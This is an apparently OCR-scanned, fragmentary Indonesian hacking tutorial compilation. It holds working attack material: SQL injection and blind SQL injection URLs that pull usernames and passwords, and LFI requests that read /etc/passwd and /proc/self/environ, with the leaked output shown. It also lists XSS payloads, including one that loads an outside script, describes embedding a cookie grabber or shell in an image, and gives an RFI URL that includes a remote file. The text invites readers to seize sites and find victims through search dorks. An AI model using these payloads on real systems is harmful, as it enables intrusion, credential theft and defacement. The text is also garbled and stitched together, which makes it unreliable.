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1. Pengertian sgl injection

[+] Author : Gonzhack
[+] Homepage : http://www.indonesiancoder.com

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--
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untuk mengeluarkan angka berapa yang muncul gunakan perintah union
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tahap terakhir mencari halam admin atau login

selanjutnya terserah anda karena kekuasaan web ada di tangan anda...

[ Indonesia | Intro To Hack Basic #1 Page 4




oh aplikasi
Serangan
bertinglak pRrsis sg

berikut:

[code]GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd%00[/code]

Menghasilkan respon server seperti:
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[quote]root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news:

HTTPiUSERiAGENT:MOZilla/5.O (Macintosh; U; Intel Mac 0S X 10.6; en-US;
rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 PATH=/bin:/usr/bin

QUERY STRING=option=com ckforms&controller=../../../../../../../../../../../.
./../../../proc/self/environ%00 REDIRECT STATUS=200[/quote]
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artinya proc/self/environ dapat diakses. Jika mendapatkan halaman tersebut
kosong, itu dapat diartikan error dalam proc/self/environ atau tidak dapat
diakses bahkan mungkin OS servernya adalah FreeBSD.
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3. Tutorial dan Pengertian XSS ( Cross Site Scripting )

"><script>alert (0)</script>

"><script src=http://yoursite.com/your files.js></script>
</title><script>alert (/xss/)</script>
</textarea><script>alert (/xss/)</script>

<IMG LOWSRC=\"javascript:alert ('XSS"')\">

<IMG DYNSRC=\"javascript:alert ('XSS"')\">
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<font Style:'color:expression(alert(documentﬁ-cookie))'>
')y; alert ('XSS

<img src="javascript:alert ('XSS')">
<script language="JavaScript">alert ('XSS')</script>
<body onunload="javascript:alert ('XSS"');">

<body onLoad="alert ('Xss'") ;"

[~} kalo dibilang bisakah kita gunakan XXS untuk deface??
Jjawabnya bisa...
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[~] sekalian menjawab XXS Phising..
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4. Image Code Injection with LFI Tutorial

1 jhead -ce namaimage.jpg
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http://www.sentex.net/~mwandel/jhead/jhead-latest.tar.gz

Lalu akan membuka Notepad, sekarang kita dapat menyisipkan kode tersebut, misalnya, grabber
cookie, sebuashell, dll. Setelah menulis, langsung saja di save dan ayo let’s play with
exploitation.

Cara menggunakan teknik ini

18 }elseif (S _GET["fvck"]=="inc") {

19 include ($ _GET["file"]);
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20 }

21 ?>
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http://www.situskorban.com/index.php?file=home.php

rentan terhadap SQL injection.
[~] Blind SQL Injection

Oke mari lanjut ke contoh Eksekusi Blind SQL Injection setelah di atas sudah

menjelaskan tentang apa itu Blind SQL Injection dan Mendeteksi nya.
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Yupz Lanjut Kang Disini saya menggunakan Contoh Eksekusi dengan dork [
inurl:news.php?id= ]

Contoh : http://www.site.com/news.php?id=2

Yuk Bareng Kita Inject

http://www.site.com/news.php?id=2 dan 1 = 1 <--- ini selalu benar dan load
halaman dari web itu sendiri masih normal

concat (username, 0x3a,password) from users limit 0,1),1,1))>80
Ok di sini mari kita menarik karakter pertama dari pengguna pertama di tabel
pengguna.

Substring di sini mengembalikan karakter pertama dan 1 karakter panjangnya.
ascii () mengkonversi bahwa 1 karakter ke nilai ascii dan kemudian
membandingkannya dengan simbol yang lebih besar kemudian>.
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Jadi jika ascii char lebih besar dari 80, beban halaman normal. (TRUE) kita
terus mencoba sampai kita mendapatkan false.
http://www.site.com/news.php?id=2 and ascii (substring((SELECT

concat (username, O0x3a, password) from users limit 0,1),1,1))>95

Disini saya mendapatka True mari kita naikan true nya
http://www.site.com/news.php?id=2 and ascii (substring

( (SELECT

My Team : ./Indonesian Coder
Special Thanks :./ Allah S.w.t & Muhammad S.a.w
./ Terima kasih buat guru Blind Sgl : ./ArRay - game over -

gt portnoy
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6. RFI Tutorial By kaMtiEz
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http://127.0.0.1/path/function.php?root%5bPath
http://127.0.0.1/path/function.php?root%5bPath%5d=http://127.0.0.1/injektor.txt

